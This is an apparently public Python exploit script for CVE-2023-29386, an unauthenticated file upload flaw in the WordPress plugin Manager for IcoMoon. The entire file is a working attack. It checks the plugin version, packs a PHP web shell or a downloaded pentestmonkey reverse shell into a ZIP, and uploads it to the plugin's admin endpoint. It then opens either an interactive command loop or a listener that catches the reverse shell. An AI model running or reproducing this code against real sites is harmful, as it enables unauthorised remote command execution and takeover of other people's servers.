#!/usr/bin/python ''' Exploit for Manager for IcoMoon Plugin < 2.0 - Unauthenticated Arbitrary File Upload CVE: CVE-2023-29386 Vulnerability: The plugin does not validate files uploaded via its upload() function, allowing unauthenticated users to upload ZIP archives containing PHP files which are extracted to web-accessible directories. Author: vigilante-1337 Date: 09/10/2025 ''' import requests import zipfile import threading import os import re import sys import argparse from pwn import * # Hide pwntool logging context.log_level = 'error' # Set to 'error' (hides most logs) logging.getLogger("pwnlib").setLevel(logging.ERROR) # Disable logging for pwntools class Reverse_Shell(threading.Thread): def __init__(self, lhost: str = '172.17.0.1', lport: int = 1337)-> None: ''' Dummy TTYReverse Shell ''' super(Reverse_Shell, self).__init__() self.lhost:str = lhost self.lport:int = lport self.exit:bool = False self.listener:object = None def run(self)-> None: try: self.listener = listen(int(self.lport), bindaddr=self.lhost) # Force IPv4 conn = self.listener.wait_for_connection() conn.sendline(b'id') while True: data = conn.recv(1024).decode().strip() if re.search(r'uid=(\d+)\((.*?)\)\s+gid=(\d+)\((.*?)\)\s+groups=(.+)', data): print(f'{data}') print('[+] Pwned! Go ahead...') conn.interactive(prompt='') except KeyboardInterrupt: conn.close() listener.close() sys.exit(0) finally: pass class CVE_2023_29386: def __init__(self, target:str=None, lhost:str=None, lport:int=None, root_path:str='/', proxy:str=None, user_agent:str='vigilante-1337')-> None: self.rhost:str = target self.lhost:str = lhost self.lport:int = lport self.selected_payload:int = None self.root_path:str = self.fix_root_path(root_path) self.proxy:dict = self.fix_proxy(proxy) self.user_agent:dict = {'User-Agent': user_agent} # intercept incoming connection self.connection:object = None def fix_root_path(self, root_path:str)-> str: new_root_path = '' if root_path == '/' else root_path.strip('/') # remove only first and last / return new_root_path def fix_proxy(self, proxy:dict)-> dict: new_proxy = {'http':proxy, 'https':proxy} if proxy else None return new_proxy def check_plugins(self)-> None: ''' Verify if the Manager for IcoMoon plugin is installed and accessible. ''' check = requests.get(f'{self.rhost}/wp-content/plugins/manager-for-icomoon/', proxies=self.proxy, headers=self.user_agent) if check.status_code != 403: # if forbidden, the plugins existing print('[!] Plugins not exists! Aborting...') sys.exit(0) enumerate = requests.get(f'{self.rhost}/wp-content/plugins/manager-for-icomoon/readme.txt') versions = re.findall(r'=\s*([0-9.]+)\s*=', enumerate.text) versions = float(versions[0]) print(f'[+] Plugins found! current version: {versions}') info, status = ('[+] Plugins is vulnerable to CVE-2023-29386', 1) if versions <= 2.0 else ( ('[+] Plugins is not vulnerable to CVE-2023-29386', 0) if versions > 2.0 else ('[+] Plugins might not vulnerable to CVE-2023-29386', 1) ) print(info) return status def create_zipfile_payload(self)-> None: ''' Create a malicious ZIP archive payload with PHP web shell. Generates a ZIP file containing a PHP backdoor that enables remote command execution on the target server when extracted. The payload uses a simple PHP system() wrapper to execute commands passed via HTTP parameters. ''' print('[+] Crafting malicios Zipfile payload...') print("available payloads:") print("[1] oneliner") print("[2] php-reverse-shell") self.selected_payload = int(input('> ')) if self.selected_payload == 1: payload_content = '' elif self.selected_payload == 2: print(f'[+] Listening address set to => {self.lhost}:{self.lport}') # shout out to pentestmonkey payload_content = requests.get('https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php').text # replace the address and port payload_content = payload_content.replace("'127.0.0.1'", f"'{self.lhost}'") payload_content = payload_content.replace("1234", str(self.lport)) payload_content = payload_content.replace("uname -a; w; id; /bin/sh -i", "/bin/bash -i") with zipfile.ZipFile('payload_file.zip', 'w') as payload: payload.writestr('shell.php', payload_content) if os.path.isfile('./payload_file.zip'): print('[+] Exploit archive prepared for unauthenticated upload') def exploitation(self)-> None: ''' Execute the unauthenticated file upload exploit. This method crafts a malicious ZIP archive containing a PHP web shell, uploads it to the vulnerable endpoint, and verifies successful exploitation. ''' print('[+] Sending ZipFile payload...') with open('./payload_file.zip', 'rb') as content: files = {'managerforicomoon-zip': ('payload_file.zip', content.read(), 'application/zip')} exploit = requests.post( f'{self.rhost}/wp-admin/admin.php?page=managerforicomoon-zip', allow_redirects=False, files=files, data={'managerforicomoon-upload': '1'} ) shell = requests.head(f'{self.rhost}/wp-content/uploads/manager-for-icomoon/shell.php') if shell.status_code == 200 or shell.status_code == 500: print(f'[+] Payload sent! Shell uploaded: /wp-content/uploads/manager-for-icomoon/shell.php') print(f'[+] Attemping to execute the shell...') if self.selected_payload == 1: result = requests.get(f'{self.rhost}/wp-content/uploads/manager-for-icomoon/shell.php', params={'cmd':'id'}) if re.search(r'uid=(\d+)\((.*?)\)\s+gid=(\d+)\((.*?)\)\s+groups=(.+)', result.text): print(result.text.strip()) print('[+] Pwned! Go ahead...') self.interact_with_payload() else: listener = Reverse_Shell(lhost=self.lhost, lport=self.lport) listener.start() listener.join(0.1) # Wait briefly for listener to start shell = requests.get(f'{self.rhost}/wp-content/uploads/manager-for-icomoon/shell.php') def interact_with_payload(self)-> None: ''' Interact with the deployed web shell for command execution. ''' while True: command = input('> ') result = requests.get(f'{self.rhost}/wp-content/uploads/manager-for-icomoon/shell.php', params={'cmd':command}) print(result.text) # print(result.text[0:-2]) print() print('''⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠟⠛⠛⠛⠛⠛⢦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀''') print('''⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠙⠷⣄⠀⠀⠀⠀⠀⠀⠀⠀''') print('''⠀⠀⠀⠀⠀⠀⠀⢀⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡆⠀⠀⠀⠀⠀⠀⠀''') print('''⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣷⠀⠀⠀⠀⠀⠀⠀''') print('''⠀⠀⠀⠀⠀⠀⢀⡿⠀⠀⢀⣀⣤⡴⠶⠶⢦⣤⣀⡀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀''') print('''⠀⠀⠀⠀⠀⠀⠘⣧⡀⠛⢻⡏⠀⠀⠀⠀⠀⠀⠉⣿⠛⠂⣼⠇⠀⠀⠀⠀⠀⠀''') print('''⠀⠀⠀⠀⢀⣤⡴⠾⢷⡄⢸⡇⠀⠀⠀⠀⠀⠀⢀⡟⢀⡾⠷⢦⣤⡀⠀⠀⠀⠀''') print('''⠀⠀⠀⢀⡾⢁⣀⣀⣀⣻⣆⣻⣦⣤⣀⣀⣠⣴⣟⣡⣟⣁⣀⣀⣀⢻⡄⠀⠀⠀''') print('''⠀⠀⢀⡾⠁⣿⠉⠉⠀⠀⠉⠁⠉⠉⠉⠉⠉⠀⠀⠈⠁⠈⠉⠉⣿⠈⢿⡄⠀⠀''') print('''⠀⠀⣾⠃⠀⣿⠀⠀⠀⠀⠀⠀⣠⠶⠛⠛⠷⣤⠀⠀⠀⠀⠀⠀⣿⠀⠈⢷⡀⠀''') print('''⠀⣼⠃⠀⠀⣿⠀⠀⠀⠀⠀⢸⠏⢤⡀⢀⣤⠘⣧⠀⠀⠀⠀⠀⣿⠀⠀⠈⣷⠀''') print('''⢸⡇⠀⠀⠀⣿⠀⠀⠀⠀⠀⠘⢧⣄⠁⠈⣁⣴⠏⠀⠀⠀⠀⠀⣿⠀⠀⠀⠘⣧''') print('''⠈⠳⣦⣀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠻⠶⠶⠟⠀⠀⠀⠀⠀⠀⠀⣿⠀⢀⣤⠞⠃''') print('''⠀⠀⠀⠙⠷⣿⣀⣀⣀⣀⣀⣠⣤⣤⣤⣤⣀⣤⣠⣤⡀⠀⣤⣄⣿⡶⠋⠁⠀⠀''') print('''⠀⠀⠀⠀⠀⢿⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣿⠀⠀⠀⠀⠀''') print() parser = argparse.ArgumentParser(description="Exploit for Manager for IcoMoon Plugin < 2.0 - Unauthenticated Arbitrary File Upload (CVE-2023-29386)", usage=f'{sys.argv[0]} [-h] [-t target]') parser.add_argument('-t', '--target', required=True, type=str, metavar='', help='Target URL (example: http://target-server:port)') parser.add_argument('-p', '--path', required=False, type=str, metavar='', help='Wordpress custom path', default='') parser.add_argument('--proxy', required=False, type=str, metavar='', help='Route traffic through proxy (e.g., http://127.0.0.1:8080)') parser.add_argument('--user-agent', required=False, type=str, metavar='', help='Custom User-Agent string', default='vigilante-1337') parser.add_argument('--lhost', required=False, type=str, metavar='', help='Set listening host for PentestMonkey\'s payload') parser.add_argument('--lport', required=False, type=int, metavar='', help='Set listening port for PentestMonkey\'s payload (default: 1337)', default=1337) args = parser.parse_args() if __name__ == '__main__': exploit = CVE_2023_29386( target=args.target, lhost=args.lhost, lport=args.lport, root_path=args.path, proxy=args.proxy, user_agent=args.user_agent, ) exploit.check_plugins() exploit.create_zipfile_payload() exploit.exploitation()